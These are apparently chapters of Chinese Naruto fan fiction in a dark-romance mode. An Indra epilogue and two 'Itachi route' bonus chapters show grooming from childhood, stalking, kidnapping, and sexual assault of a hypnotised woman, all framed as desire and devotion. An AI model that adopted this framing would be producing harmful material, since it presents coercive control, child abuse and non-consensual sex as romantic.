便是大筒木因陀罗真的是她丈夫又如何,越是糜烂混乱的关系,她越感到刺激与快乐。 她百无聊赖地托着腮,穿着漂亮的礼服席地而坐,注视着道路的尽头。 她喜欢宴会、珠宝、美酒、首饰与礼服。渴望疼痛、濒死体验与暴力。讨厌寂寞与被忽视。 她的夜晚绝不可能一个人度过。 谁第一个来,她就坐谁的车。就看这群人,哪个争气了。 至于所有人撞在一起的“热闹”?她到时候要面临的质问与怒火?她乐不可支地翘起嘴角,那是她最想看的场面。 有人收到消息的下一秒就给她拨电话,她烦不胜烦,一律掐断了拉黑。 这些她说过无数甜言蜜语山盟海誓的男人,在她脑海中的模样,大部分都是模糊不清的。 她不记得他们长什么样,不关心他们的姓名,也不在乎他们的性格、喜好与家世。甚至懒得仔细听他们对自己所说的那些繁多爱语。 聒噪又黏人。 睡过的第二天在路上遇见,她甚至认不出对方。 整个世界是她的个人游乐场,这些娱乐设施不过是取悦她的玩具。 谁会在乎一个玩具。 她已经听到不远处汽车引擎的嗡鸣。 她愉快地咬着嘴唇。 让她猜猜,谁会是那个幸运儿? 她的好小狗止水警视长?合作过几次,危险又讨她欢心的“朱雀”?还是她最近的新欢小点心? 在第一个人到来之前。 手机屏幕上的圆圈转到一半停了下来,画面一黑,继而又亮起一枚红白色的团扇标识。 下划线闪烁了几秒,弹出字来。 [找了你很久:(] 她忍不住叹了口气,在心里翻了个白眼。 早知道,她就不应该顺带把斑那个弟弟睡了。 那个看着人畜无害的青年,是个不折不扣的控制狂。第一个月,他黑掉了她身边所有的监控。 等她避着监控出行时,他又通过她路过的每个人的电子设备窥视她。 他黑进她的设备,破坏她取乐的计划并留下“Izuna”的署名,搜集她黑暗罪孽的行径威胁她,锲而不舍地逼迫她回到他身边。 这次要不是因陀罗,她差点就栽了。 她已经扔了不知道多少电子设备了。 她偶尔也会招惹到这样纠缠不休的、控制欲旺盛的男人。 轻易把她的“我爱你呀”当真,对她要求永生永世,至死不渝。 次数多了,她终于发现,这群人都姓宇智波。 她当然不会蠢到把定位发给这几个闹掰了的前**,但泉奈自然有他的办法。 可惜天高泉奈远,这男人又不在东京。 她漫不经心。 “太缠人的男人不讨女孩子喜欢噢,泉奈先生。”她慵懒地支着脸,笑眯眯道。 [斑哥对你的不告而别很生气] 她终于有点变了脸色。 [带土也说要好好教育你,让你别那么贪玩] 这几个当初明争暗斗的家伙居然合作了? 她心念电转,脸上的笑容渐渐消失。倏然站起身,将手机狠狠摔在地上,尖尖的高跟鞋鞋跟重重踩在团扇标识上,屏幕闪烁了几下,黑了下去。 泉奈最后发来的讯息是—— [期待下次与你再见;)] 这个讨人厌的促狭男人!从来都不会说一句好听话! 她焦虑地咬着指甲,在原地走来走去,该死,该死! 一个一个来她还能应付得来,两个人也能游刃有余,但三个人联手又是另一种情况了。 她百无禁忌,肆无忌惮引诱窝边草,对合作伙伴下手的后果终于在今天显现。 能和她这朵恶之花合作的都不是什么等闲之辈。 更何况三个人。 东京也待不下去了。 下次逃到哪? 有人抓住她的肩膀,她猛地甩开他,看见因陀罗面无表情的脸藏在黑暗里。 原来是她的好丈夫。 她讥笑道:“终于肯见我了,亲爱的?” “你怎么不提,你让我在裁判所等了你一整天的事?” 她冷冷道:“你第一天认识我吗,因陀罗?” 她一贯自私自利,自我中心,享乐主义,何曾在乎过别人。 因陀罗攥住她的手腕:“又是那个警视?” “放开我!”她吼道。 自从她一天天长大,她就越来越厌恶因陀罗过分的管束与控制。 她绽放着,钻破了因陀罗给予她的温室。 胆大包天。 因陀罗黑着脸,直接将她扛起来,塞进车子里。 她全程尖叫不休,等进了车就一口咬在因陀罗的手背上,仿佛要活生生撕下一块肉来才罢休。 因陀罗冷着脸一动不动,任由她发泄怒火,等她消气了再问:“这是第几个了?” 她发泄过那股劲,现在温和许多,尖尖的牙齿咬着他的手指,吮吸他伤口渗出的鲜血。 “不知道,”她心不在焉地含糊道,“太多了,没印象。” 因陀罗抬高手,她便仰起脖颈,伸出粉嫩的舌尖去接他指间滴落的血。 腥甜的铁锈味在她舌尖化开。 她吞咽着发出战栗的呻吟,面颊泛起兴奋的红晕。揪住因陀罗的风衣往他身上坐,拉长了身子去够他的手掌。 “给我……嗯,哈啊……给我,因陀罗!” 因陀罗阴沉着脸。 她尝到了甜头,便又变得温柔小意起来,咯咯笑着依偎在因陀罗怀里,把玩他扎成辫子的棕发,在指间绕来绕去:“那些人算什么呀,不过是逢场作戏,”她嗓音甜蜜柔情,“我只爱你一个呀,因陀罗。” “逢场作戏?” 她听出因陀罗满腔怒火,柔软地抚摸他英俊的脸颊,从浓密纤长的眼睫毛,到高挺的鼻梁,最后是紧抿的薄唇。 她将鲜血涂在男人唇上,凑上去用舌头柔软地舔丨舐。 “我都是为了你呀,因陀罗,”她低泣着埋怨道,“不是为了给你脱罪,我怎么会去给那个小小警视做小伏低,讨好奉承他。”她委屈又可怜地揉着眼睛,反将一军,“我为了你牺牲了这么多,你却对我发脾气?” 因陀罗冷笑道:“是吗?” 如果不是她想摆脱因陀罗的控制,将自己共犯者的证据故意泄露出去,又和止水里应外合。他大筒木因陀罗怎么可能硬生生吃这么大闷亏不反击。 被自己一手养大的小猫挠了脸。因陀罗冷冷地盯着她。 ……她想让他死。 她一直都想让他死,从他强行把她从父母身边带走那天开始。她每日每夜都想杀了他。 她憎恨他。 因陀罗享用了她的每一个第一次。 他既是她成长过程中不可缺少的,启发她走上那条布满荆棘的黑暗之路的父亲;也是在她躲在衣柜里寂寞哭泣时,找到她,拥抱她的亲爱兄长;更是不顾她的尖叫日日夜夜侵占她的“恋人”。 他是教会她用枪的人,是在她享受暴力与血腥时给她递刀的人,更是引诱她往更深更黑处堕落的引路人。他是她的共犯者,也是她的替罪羊。 孩子长大总要挣脱父母的怀抱,自己独立生活。 可因陀罗不允许。 她刺探他忍耐的底线,一次一次挑衅。 当她发现他对自己的爱时,她几乎本能地学会如何将这把利剑反手刺向他的心脏。 为了惹怒他,使他不快,她与许多男人纠缠,每一次因陀罗都大为光火。 他将她锁在家中,监禁与教育。可她已经不再是当年那个只会啼哭,乞求他放自己离开的小女孩。 她总有办法。 他们之间的关系永远在愤怒、争吵、暴力与控制之间徘徊。她永不服输,绝不后退。 因陀罗注视着她,在越来越紧绷的氛围中,他忽然笑了起来。 她匪夷所思地盯着他。 因陀罗蹲了几天监狱,终于脑子坏了? “你成长得很优秀。”他赞许地说,抚摸她的发丝。 她闻见浓郁的血腥气,唾液不受控制地分泌,双眼迷离地望着他。 因陀罗对自己培育出来的花十分得意。 他倾注一生心血灌溉的,最珍爱的宝物。 “我等待着你真正杀死我的那天。”因陀罗期待地说。 她回过神,试图惹怒他道:“你死之后,我会找一大堆情人。” 因陀罗望着车窗外相继赶来的豪车,冷笑道:“现在还少吗?别说今天这个小警视了,你连‘朱雀’都敢动。” 她故作甜蜜地说:“那么多男人中,我只爱你一个。你不该感到高兴吗,因陀罗?” “迟早有一天,我会在你的面前,把这些人一个一个杀了。” 她耸耸肩:“随便你。” 顿了顿,她说:“我买了机票,要不要一起来也随便你。” 因陀罗知道她害怕寂寞,憎恨孤独,讨厌没人陪伴。 她小时候总是一个人躲在衣柜里哭泣,思念父母。 这是变相的邀请函。 因陀罗启动车子,碾过地上的手机残骸,他问她:“你又惹了麻烦?” 她抿了抿唇。 因陀罗了解她的程度,时常会让她感到恐惧,怀疑自己曾经将灵魂出卖给他。 “没什么,”她轻描淡写地说,打量自己的美甲,“只是不想再在东京待下去了。” 车窗外的霓虹落在她眼中,闪过光怪陆离的色泽。 但当车辆驶过,灯柱离去,她的眼中空无一物,什么都未曾留下。 它们只是匆匆而过,如流水般滑过,不能给她留下印记。 她无法学会爱,不知道什么是正常的人际关系。刻薄自私地将“被爱”当作一种炫耀的资本,仿佛那与华美昂贵的珠宝同价,为她的容貌增姿添色。 无论因陀罗多么爱她,无论那些宇智波为她甘愿抛弃原则与底线,她都不为所动,冷漠阴郁。 她在发芽之前就已经坏掉了。 这是一颗坏掉的种子。 可因陀罗注视她。 那目光里浓烈黏稠的爱意令她浑身不自在。 她享受他人贪婪的追逐与狂热的爱慕。喜欢被暴力对待。她沐浴畸形扭曲的病态爱意就像鲜花沐浴阳光雨露,沁润着绽放。 但她本能地对温柔的、不含一丝杂念的温暖注视感到陌生与战栗,害怕得想要逃跑。 她想起那个叫漩涡鸣人的青年。 金发狐狸脸的青年帮助看似楚楚可怜的她,腼腆地邀请她去廉价的拉面馆,和她在月光下的公园里哼着歌手忙脚乱地跳舞。 她全程什么手段也使不出来。 鸣人爽朗阳光地笑着,直率地问她要联系方式。 温暖的蓝眼睛望着她。 她几乎是落荒而逃。 因陀罗也这样注视她。 她微微一怔,僵硬地侧头望去,声音干涩:“因陀罗……?” “庭审时,他们宣读了我的很多罪行。” 因陀罗发出沙哑的、低低的笑声。 “其实,我只对一项罪行供认不讳。” 她尖锐地讽刺:“噢?诱拐幼丨女?侵犯未成年?检察官大人,这里正坐着一位人证兼受害人,我愿意出庭。” “是的。”他笑起来。 她诧异地望着他。 他居然承认了? 车子停在路边,因陀罗望见那几个宇智波正冷冰冰地朝他们走过来。 她不知道,因陀罗认为她这样的“叛逆行为”,其实在变相地告诉所有人—— 她已经被大筒木因陀罗在身上打下了深深的烙印。 无论她此后走到哪里,无论他是生是死。 她这一生,都摆脱不了他的影响。 她满身都是他的气息。 那些敏感的宇智波早就感知到了,她身上别的男人留下的痕迹,各个都恨因陀罗入骨。 想要大筒木因陀罗死的人,可不止她一个。 但因陀罗只觉得愉悦。 无论她再怎么抗争,试图夺取自由,她永远都摆脱不了他。 生生世世。 至死不渝。 亚当与夏娃偷食禁果,因此人类生来具有原罪。 因陀罗深深注视着她,牵起她的手,在她的手背吻了下。 抬起脸,露出一双石榴籽般猩红的眼瞳。 嗓音低哑温柔。 “你就是我的罪。” 第57章 鼬线番外-上 【接的是全家桶番外的结局。 小鼬主场,带点万人迷汤底。撒糖向,无脑贴贴。】 番外五、鼬线番外 01、感天动地同事情 我又被绑架了! 为什么我要说“又”呢? 因为自从上次我说最近想谈恋爱之后,上下班路上被绑架的概率越来越高了。悲。 “是你吗因陀罗,”我大声说,“无论你监禁劝诱我堕落多少次,我都不会屈服,和你走的噢!” 开玩笑,已经是跨国集团的正式职员了,谁还要去做无业游民!因陀罗休想骗我! 没有人出现。 我再接再厉,诱敌深入。 “尽管不会答应你,但我依然最喜欢因陀罗了,因陀罗是我最棒的挚友。出来吧!” 没反应。 看来不是惯犯因陀罗。人选有很多,我挨个试下去。 “是你吗带土?”我说,“别以为戴面具我就认不出来你噢!因为带土是我的朋友中最帅气最厉害的那个,无论怎样都散发着迷人的光芒呢!” 没有人回应。 看来也不是带土。 “咦?难道说是泉奈先生雇人绑架我的吗?我答应你噢泉奈先生,我明天就从公司离职,再也不出现在你和斑先生面前了!这次真的真的是真的!我不会再骗你了!真的真的!”当然是骗他的。 “……” “啊!我知道了,你一定是止水吧!我最近很安全,不需要被关起来保护!谢谢你关心我啦……止水,你总是这么在意我周围潜藏的危险呢,不愧是关心爱护市民的警视长!” “……” “欸?原来是斑吗?”我诧异地说,“这次又是族内的事务,需要我作为女伴,陪你出席晚宴吗?其实可以不用绑架这种手段的啦,正常和我说我也是会答应帮忙的……” “……” “什么嘛,我就知道一定是鼬!嗯嗯没错,绝对是鼬!呜呜呜最近工作上的事太多,瞒着鼬偷偷熬夜通宵是我的错,我不会再犯了。所以不用把我绑起来逼我回归健康作息嘛……” “……” “哼哼!其实我前面都是在骗你的!我早就知道是你了,佐助!上个星期你送我去公司,我不小心惹你生气了,你想报复我对吧?我保证下次再也不说‘放心吧佐助,你是我的挚友。我怎么可能会和挚友谈恋爱呢’了!原谅我吧,不过在那之前,方便告诉我你为什么生气吗?我不太懂耶……” “……” 什么?! 居然都不是! 我震惊了。 我陷入沉思。 这下范围就更大了。虽然概率很小,但是小樱雏田她们对我做这种事的可能性也不是没有。 毕竟也是对我表达过“美丽脆弱的花朵旁,总是有太多嗡嗡吵闹的蜜蜂。啧,真想把你关起来,养在属于我的玻璃花房里……哈哈,说笑的”“那个,如果是你的话……我、我我我想在今后人生的每一个清晨,都看见你的笑脸。这是我毕生的心愿……”想法的。 甚至一向最乐天派的鸣人,在玖辛奈妈妈的怂恿下,也对佐助说过“哪怕这孩子结婚了,我也不会放手的,她有获得真爱的权力”之类的话。 咦? 我身边的朋友们,怎么各个都有做绑架犯的潜能呢?是哪里弄错了吗? 他们都是好人啊! 绝对不是什么违法犯罪份子! 我喃喃自语。 “到底会是谁呢……” “你招惹到的危险家伙还真多啊……嗯!” “对呀对呀!下班还好说,上班路上被绑架,这个月的全勤奖就没了,可恶的因陀罗……!”我咬牙切齿。 “看来大筒木因陀罗是最危险的。” “没错没错!因陀罗是大坏蛋!” “其次是鸢、啊,带土。嗯!” “是的,带土经常做一些我很难理解的行为呢!”我说,“比如说忽然出现在我的床底和找东西的我对上视线,抬起头发现天花板上的小洞里有只红眼睛在看着我之类的。” “嗯!■骚扰犯啊这家伙。鼬的顺位倒是出乎意料的低,好心提醒你一次,其实这家伙才是最危险的。在能逃的时候尽快从他身边逃走吧。” “咦咦?” “他的弟弟的人生都被他操控成那种可怜的样子了……嗯!” “佐助吗?其实最近,我觉得这对兄弟的关系好像缓和了一些。似乎是因为鼬之前眼睛受伤……等等你谁啊?!” 我大声吐槽着抬起头,看见一个金色高马尾的年轻俊秀男子笑眯眯地站在我面前,穿着和鼬款式相似的黑底红云的长袍。 “我是迪达拉,”他自我介绍道,“姑且算是带土和鼬的同事……嗯!” 原来是工作制服! 既然是挚友的同事,那一定也是好人。 而且他说话的语气很亲切。 我说:“晚上好,迪达拉。为什么要把我绑起来?” “好奇,嗯!”迪达拉说道,“能让鼬动摇到那种程度,连理智都失去的女人,想见见是什么人。” “欸?” “上次把你的电话挂了,朱雀知道以后让我吃了好大的苦头……嗯!”他心有余悸地抱怨,“血继界限也太犯规了啊!我们这可是现代文明社会,为什么还能允许那家伙保留这么危险的能力啊!” 听不懂他在说什么…… “不过,”他不怀好意地笑起来,戳了戳我的苹果肌,“也让我发现了水火不侵的那家伙的弱点啊。” “你现在见到了,我是和其他人一样会吃饭睡觉的普通人。鼬是我的朋友。现在可以放我回去吗?”我说,“我要错过晚九点的电视剧了,今天是大结局呢。” “不行。” “为什么?” “我早就想和鼬打一架了,但这家伙总是用幻术作弊。嗯!”迪达拉兴奋地掰着手指,骨节咯啦咯啦作响,眼睛发亮,“这次把你绑起来,惹他动怒,一定能好好打上一架了!” 什么好同事天天想打架啊! 而且我是无辜的啊,你们两个的仇怨,为什么把我绑起来啊! 关我什么事啊!! “你很厉害吗,迪达拉?” “那当然!”他露出自信灿烂的桀骜笑容。 从他神不知鬼不觉把我自闹市区绑到这间荒废仓库的手法来看,迪达拉绝对很强。 而且他好像很习惯干这种违法犯罪的事。 吐槽归吐槽,我有些担心挚友的安危。 “鼬身体不好,前段时间还差点失明,”我好心劝说,“迪达拉这么厉害,鼬肯定打不过你的啦。” “???” 迪达拉看了我几秒钟,忽然捂着肚子发出响亮的笑声,笑得前仰后合:“噗哈哈,你真的是鼬迷恋的女人吗?白痴到了好笑的程度了吧?居然把猛兽当作猫咪?嗯,不过某方面来说也很有趣啊,和你的生活一定很有意思。我终于知道鼬为什么对你那么执着了。太有趣了!真后悔没把你这句话录下来。嗯!” “咦?” “能这么评价晓之‘朱雀’的女人,太有趣了。那家伙体弱多病?太好笑了,噗哈哈!!” 他狂笑不止,我满头雾水。 真搞不懂迪达拉在笑什么。 鼬身体不好,时常压抑地咳嗽。平时也只是做一些不需要大量体力劳动的家务活。虽然力气比我大很多,但他比我高比我壮,能拎得动我拎不起来的重物也在情理之中。 之前眼睛流血险些失明以后,鼬的健康状况就更为堪忧,肤色苍白,体温如玉。有时看到他毫无血色、玉雕般明净漂亮的脸,会有心惊之感。 精致昳丽过了头,以至于给人极端脆弱易碎的错觉。仿佛精美的、布满裂纹的瓷器。 鼬出院之后,也还间歇性地看不清东西,在生活起居上有困难,时常拜托我去他家帮忙。 “不要戴着有色眼镜看人呀,“我绞尽脑汁说好话,迪达拉想和鼬打架,这两个人一定关系很差,“鼬为人温柔友善,对朋友关心体贴……” “哈哈哈哈!!” 迪达拉笑得更疯狂了,连眼泪都笑出来了。 “……” 我郁闷地闭上嘴。 和你们这些不能理解我挚友优点的人没话好说! 但是待在这里也怪无聊的,手被绑着也不能玩手机。我忍了没有两分钟,就打开话匣子和迪达拉聊起天来。 没想到迪达拉也挺健谈的。 我们俩从今天晚上电视剧的大结局聊到最近打的游戏。 迪达拉给我松了绑,还出去买了快餐回来一起吃。我们俩勾肩搭背,一边大口吃披萨薯饼炸鸡,一边吸可乐,滔滔不绝,热火朝天,俨然成了好朋友。 鼬找过来的时候我和迪达拉已经是恨不相逢未嫁时的挚友了。 “说起来,迪达拉,”我说,“你和鼬做什么工作啊?” 我知道鼬是自由职业,他似乎没有经济困扰,大部分时间都在家里帮我做家务。偶尔出远门去外地工作,过段时间又云淡风轻地回来。 我将之称为小猫咪打猎归来。 佐助听到我兴高采烈的比喻之后,露出了吃到呕吐物的可怕表情。 “……” 我识趣地闭了上嘴。 “哈啊?”迪达拉咬了一口薯饼,“朱雀没告诉你吗?” “即使是挚友也有自己的隐私吧,”我说,我也有不想告诉朋友的秘密,倒是可以理解鼬的隐瞒,“如果鼬不愿意告诉我,一定有他自己的考虑吧。” 迪达拉可完全没有设身处地为鼬着想的细腻心思,恰恰相反,他看热闹不嫌事大地开口:“那家伙百分百是担心你得知真相以后对他敬而远之……嗯!” 我紧张起来:“是法律不允许的工作吗?” 前警部知法犯法……?! 迪达拉眼神古怪地瞥了我一眼,吱呀吱呀地咬着可乐吸管,含糊不清地咕哝:“我们可是正经安全顾问公司,在36个国家都有合法身份。嗯!” “所以只是安全顾问……?”我说。 我不觉得这是什么不能提的职业。而且都有合法身份了! “……”迪达拉很是轻蔑地笑起来,“你知道朱雀手上有多少条人命——” 他的话停住了。 我转头看去,鼬提着一塑料袋水果蔬菜站在门口:“我来接你回家。” 他淡淡地对我说。 “别着急呀。”迪达拉一把抓住我,从身后抱住我,手臂环住我的脖颈。 他的掌心有一只活灵活现的黏土小鸟。 靠着我的咽喉。 我看见鼬的视线冰冷起来。 “我提醒过你,迪达拉,”鼬低声道,有种令人心悸的危险,“少做不该做的事。” “想把人从我手里带回去可不是那么简单,”迪达拉说,“打赢我。否则……” 我没有反应过来发生了什么。 似乎只是眨眼的一瞬间,鼬就来到了我的身前,慢条斯理地把迪达拉钳制我的手臂移开,帮我把凌乱的衣服和发丝整理好,接着伸出手,示意我牵上去。 我疑心自己听见了震耳欲聋的爆炸声,但脑子里只有一双猩红色的、旋转着绮丽花纹的眼睛。 时间仿佛过了很久,又仿佛只是一瞬。 我回头看了眼迪达拉,他脸色难看,慢慢地舔嘴角溢出的血丝。 方才我们还在仓库,但此刻已在月明星稀的荒野,周围是无数个深邃的、冒着硝烟的巨坑。 废弃仓库不翼而飞了。 鼬弯腰,捡起地上掉落下来的那只黏土小鸟,放在迪达拉的掌心。 鼬好有礼貌。 但迪达拉的表情更难看了。 “回家吧。”他顿了顿,目光扫过我的嘴角,用指腹擦掉我嘴唇边上的披萨碎屑,低垂着纤长浓密眼睫,舔着拇指,淡淡道,“我的同事都很危险,少和他们来往。” 他一定看到我和迪达拉勾肩搭背聊得热火朝天了。 鼬一只手拎着塑料袋,一只手牵住我:“你要看的电视剧,我已经录了像。等饭做好之前,你可以看。” 我们就这样莫名其妙回了家,一场绑架案就此结束。《 》 第58章【完结章】 第58章 鼬线番外-下 02、司马鼬之心 回家的路上,我和鼬聊起最近电视新闻上的连环杀人案。 “被迪达拉绑走的时候,我还以为要被杀掉了,”我心有余悸地说,“据说犯罪者专门挑选独居单身女性下手,警视厅多日未能破案,正在被声讨。” 佐助身为警员,最近也为了查案焦头烂额,时常加班。 鼬掏出身份卡刷开电梯,目光越过我的头顶,不经意地扫过公寓楼下茂盛的绣球花丛。 月色下,他的黑瞳没有高光。 冷漠而无机质。 像在看已死之人。 “……不需要担心,”鼬顿了顿,声线冷淡,“我已经处理了。” “欸?”我有些遗憾。 处理……? 处理什么? 是鼬已经和迪达拉说过,让他不要来找我了吗?虽然我不喜欢被绑架,但我和迪达拉聊天还挺开心的…… 难得有了新朋友……自从因陀罗以后,不知道为什么,身边的其他朋友联系渐渐变少了。 也几乎没有交到新朋友。 总有各种各样的意外让那些人选择疏远我。 之前工程队有个年轻的男生对我有好感,约出来吃了几次饭后,他忽然消声匿迹了。发消息询问也不回复,放置冷处理。 线下偶然见到过一次,更是露出见了鬼似的表情,才说了两句话,脸上的冷汗就夸张地浸湿了衣领。一直躲躲闪闪看着我的身后,最后更是不打招呼尖叫着跑掉了。 我很失落。 原本,我还以为可以谈上恋爱了。 但我说不出反对鼬决定的话。 念头在脑海里诞生前就消失了。 只剩下了不愉快的、憋闷的情绪。 “是、是这样啊。”我闷闷地,不太情愿地说,“我知道了。” 我低着头,看着相互踩来踩去的脚尖。 面对我明显的低落情绪,鼬就像没见到似的不为所动,淡淡道。 “嗯……乖一点。” 鼬抬手,安抚似的摸了摸我的头发,满意我的听话。 电梯门打开了。 我们走进去。 打开家门时,两只小黑猫凑过来迎接。 哥哥猫扒着我的手臂,窜到我的身上,我顺势把它抱起来。 它喵喵叫着用脑门蹭我,很是乖巧。 地上的弟弟猫围着我和鼬转了两圈,在鼬身上嗅了嗅,然后嘴巴一张,呕了几声,把毛球吐在了鼬的鞋子上。 作为猫主人的我:“……” 弟弟猫一直都不喜欢鼬。 不是在鼬的衣服鞋帽上吐毛球,就是千方百计抓花鼬的脸。 “没关系,你先去洗漱。”鼬表情很平静,即使被弟弟猫疯狂用爪子挠脸也强行把它抱起来,好像自己和弟弟猫关系很好似的,对我说,“我会处理干净的。” 在废弃仓库里蹭了一身灰尘,还出了很多汗。我尴尬地去洗澡,洗到一半,浴室门忽然被人敲响。 我吓了一跳,还不等我出声,有人拧开门锁走进来。 我匆匆忙忙扯了条浴巾裹住自己,鼬把衣物放在柜子台面,解释道:“你忘记拿换洗的内衣了。” 我有些丢三落四的,上次忘记拿内衣,裹着浴巾出去换完衣服之后感冒了。 鼬有好几天都面无表情。 鼬平时对我很温和,从不大声说话。有不同意见时总是心平气和说服我,几乎不生气。 但他与我和平地理论,陈述事实,最后说服我同意。只是因为鼬想这么做,不代表他认为我的同意有多么重要。 无论我是否认可,他都只做自己认为对的事。 鼬一露出这种淡淡的表情,我莫名其妙就怕得不得了。 我连揩鼻涕都不敢发出太大声音。 这次干脆直接帮我把衣服送过来了。 虽然我不知道,鼬怎么会发现我忘记拿换洗内衣。 头发还在滴水,鼬放下衣服后并没有离开。我盯着台面上款式简洁可爱的内衣,思考了几秒钟。 我不记得我有买过这款套装。太可爱了一点……缎带和花边也太多了…… 鼬走过来了。 我抓着浴巾的边缘,有些紧张。它太窄了,遮住上面就遮不住下面。 鼬伸出手,将我的浴巾往下扯了一点。大半个胸部露了出来。 他的目光冰冷。 我微微冒了点冷汗,喉咙发干。 如果是别的人做出这种行为,我就要尖叫了。 但那是宇智波鼬,老实说,我觉得他没有那方面的欲望。 鼬是那种看见女人裸体都没有情绪起伏的冷感男。 很适合去做医生之类的工作。 鼬乌沉沉的目光定在我的锁骨下方,忽然开口:“最近在公司失去意识过吗?” 为什么要用“失去意识”这样恐怖的词? 我想了想,小心翼翼地说:“今天中午莫名其妙很困,借带土的办公室睡了一觉。” 鼬点了点头,语气很淡,有些微妙的、让人发毛的危险情绪:“我知道了。” 他转身离开了。 我凑到镜子前面,发现自己锁骨下方,胸脯上方的位置,有淡淡的红痕。 奇怪……什么时候留下来的? 被浴巾遮住的腰部也很痛,对着镜子照了照,有不少青紫的淤痕,像被人用力、长时间地掐过。 洗完澡出去的时候,鼬借了我家的厨房在做晚餐。 我被绑架的缘故,现在已经很晚了。说是晚餐,更像是宵夜。 我不太敢和鼬说自己已经和迪达拉吃了快餐。 鼬不喜欢我吃这些不健康的食品。 他固执地经手每一样流经我胃部的料理,就连带去公司的午餐便当也是他每天早起做好的。 如果某天我要外食,都会提前和鼬说明。以免他做了一大桌菜我却没有回家吃饭。 “……还没结婚就过上被严厉妻子管束的中年男人生活了。”一起喝酒的同事犀利地吐槽。 “只是朋友而已……”我说,“我们木叶挚友都是这样的。” 鸣人还说过,别害怕,尽管反抗那些宇智波啊,他大声说,他愿意以性命为代价守护我。 这就是感天动地的挚友情啊。 同事齐刷刷翻了个白眼:“你现在还没被吃掉真是个奇迹。对方可能是■无能。” “不,百分百是吧!都做到这种程度了还没享用正餐,我都快相信这个世界上存在真爱了。” “柏拉图恋爱啊!” “喂,”有人问我,喝醉之后的同事话题逐渐成人,“你家里的那位贤夫,有用你的物品■过吗?” “都说了是挚友啊!” 我拿着啤酒杯愣了下。 说起来,的确有几次,半梦半醒间听见过奇怪的喘息声。 醒过来空气里有猩腻的麝香味,掌心和腿根黏糊糊的。身体里流出奇怪的液体。 量十分大,擦拭很久都流不干净。 “不不不,你们都错了。我是总裁特助我知道,其实是某种危险的平衡关系啦。关于觊觎的人太多所以不得不先处理掉其他人这种事……斑先生的态度大家都看得见吧。” “这么说……是啊。超明显的,就差变成黑漆漆的猫年糕了。” “根本没掩饰吧总裁大人。饿得都要冒绿光了。” “也没那么夸张吧!!” “老男人憋太久伤身体啊。” “带土先生也不年轻了呢……” 如果不是我已经成年了,我怀疑连水鼬都要亲自喂给我。 怀着某种无由来的心虚,我期期艾艾走到厨房:“我帮你打下手,鼬?” 鼬正在切胡萝卜,头发扎起,袖子卷起来,露出一截小臂的肌色。因着握刀的动作,肌理经络连成流畅漂亮的线条。闻言回头看了下我。 自从鼬接手我的生活之后,我莫名其妙变得懒惰起来。有时候连穿衣刷牙都是在困倦中由鼬帮我完成的。 仗着有鼬在,我从来不自己吹头发。还未擦干的头发往下滚落水珠,很快就浸湿了睡衣。 薄软的布料吸饱了水分,透出内衣的缎带花边轮廓。 鼬忽然皱了下眉。 他抬起手,原来是他方才出神,不小心切到了手指。 鼬也有这样粗心的时候? 就像知道斑会吃豆皮寿司一样,太过完美以至于有距离感的朋友们偶尔露出这样的一面,我会觉得非常可爱,产生亲切之情。 有轻微的血丝渗了出来,我走过去,抓着鼬的手,含在嘴里舔了舔。 乡下出生的我,有很多东京人看不上眼的陋习。 手指拿出去的时候粘连着唾液的丝线,鼬看了下手指上唾液的湿痕,又垂下眼睑看着我。 我有些毛毛的。 “怎、怎么了吗?”我说,“在我老家,小伤都是这样消毒的。” 鼬还在看着我。 他缓缓眯起眼睛。 鼬这副平静的表情让我感觉整个身体的神经都紧绷起来。 危险得不可思议。 心脏扑通扑通乱跳起来,鸡皮疙瘩耸立。 迪达拉说他杀过人。 我后退了一步,结结巴巴:“抱歉,我去拿医疗箱——” 鼬忽然抓住后退的我的手腕,一只手捏着我的下颌,逼迫我仰起头,在我尖叫之前弯下腰来吻住了我。 他的表情十分冷淡,从始至终都没有变化过。只有那双映着我的黑瞳越来越红,越来越红,逐渐变成了猩红色,旋转着层层叠叠的黑色花纹。 宽厚滑腻的舌头蛇一般钻了进来,微凉的体温相互交融。 细密纤长的眼睫轻轻颤抖。 我原本想用力推开他的,强烈的、被掠夺的恐惧令我浑身发毛,惊恐万状。 但我迷迷糊糊注视着那双红瞳,连什么时候被鼬按倒在流理台上都不清楚。 抵抗鼬的念头在诞生前就消失得无影无踪。 我大概明白什么是“失去意识”了,这样说的话,我好像经常遇到过。 无论是公司,还是家里。 契机都是一双流转着黑色花纹的绮丽红瞳。 他挤进我的双腿之间,按着我的后脑勺迎向他,很难想象宇智波鼬这样冷淡的人会吻得这么黏湿缠绵。 我难以呼吸,手指抓着大理石台面痛苦地蜷缩着,乱蹬的双腿,早就把台面上切好的未切好的蔬果全部扫到了地上。 大量眼泪分泌出来,啪嗒啪嗒流得满脸都是。 “唔唔唔——!” 微凉的手掌顺着睡衣的下摆钻进去。他在换气的间隙低低地喘息。 内衣上的缎带像被拆礼物一样扯开,布料轻轻松松就从身体上滑落。我这才后知后觉明白这套内衣的设计意图。 他极有技巧地抚摸,指腹流连在躯体之上,点燃理智。我很快就发出奇怪的声音,小腿绷紧发颤,脚趾蜷缩又舒张。 他熟练得根本不像第一次。 他……太了解我的身体了。 我内心的疑问越来越多。 空气变得焦灼而炙热。 我只记得漫长的哭泣与永不停歇的震颤,流理台上的液体滴在地面,积蓄成小小的水洼。 我在他身下不停尖叫弹动,抽噎着让他停下来。他引导着我,很快,我就感到掌心黏稠的微凉。 那触感熟悉又陌生。 我快要吐出来了。 我喘着气,狼狈不堪地看着鼬。 他抿着唇,压抑着激烈、沉重的呼吸。绮丽的红瞳里翻卷着浓烈的情绪。 即使再无知,我也知道,这是越过“挚友”界限的行为。 我的嗓音干涩,有使用过度的沙哑。 “鼬……”我颤抖地问,“这是怎么回事?” “……”鼬平静地反问,仿佛不正常的人是我,“很奇怪吗?即使是我,也会对自己可爱的妻子有生理欲望。我只是个普通的男人。” 我大脑一片空白。 他在说什么? 鼬的语气完全不像是在和我说笑,恰恰相反,他冷静理智得出奇,就像他一直都这样认为。 这才是最让人冒冷汗的地方。 我发起抖来。 “开玩笑的吧……” 本能地手脚并用,我哭着,哆哆嗦嗦想要爬下流理台。 “你要去哪里?” 他抓住我挣扎后退的脚踝,手指一根根收紧,将我拖回来,语气淡漠平静:“做个乖孩子。你从前就做得很好,以后也要继续听话下去。” 流理台上的碗碟随着我惊恐挣扎的动作被挥到地上,噼里啪啦砸了个粉碎。 我尖叫着把身边的一切都变得凌乱不堪,一片狼藉。 但鼬稳稳着控制着我,有条不紊地进行着。 “你昨晚也哭得很厉害……真是可爱。” 我感到自己快要崩溃了。 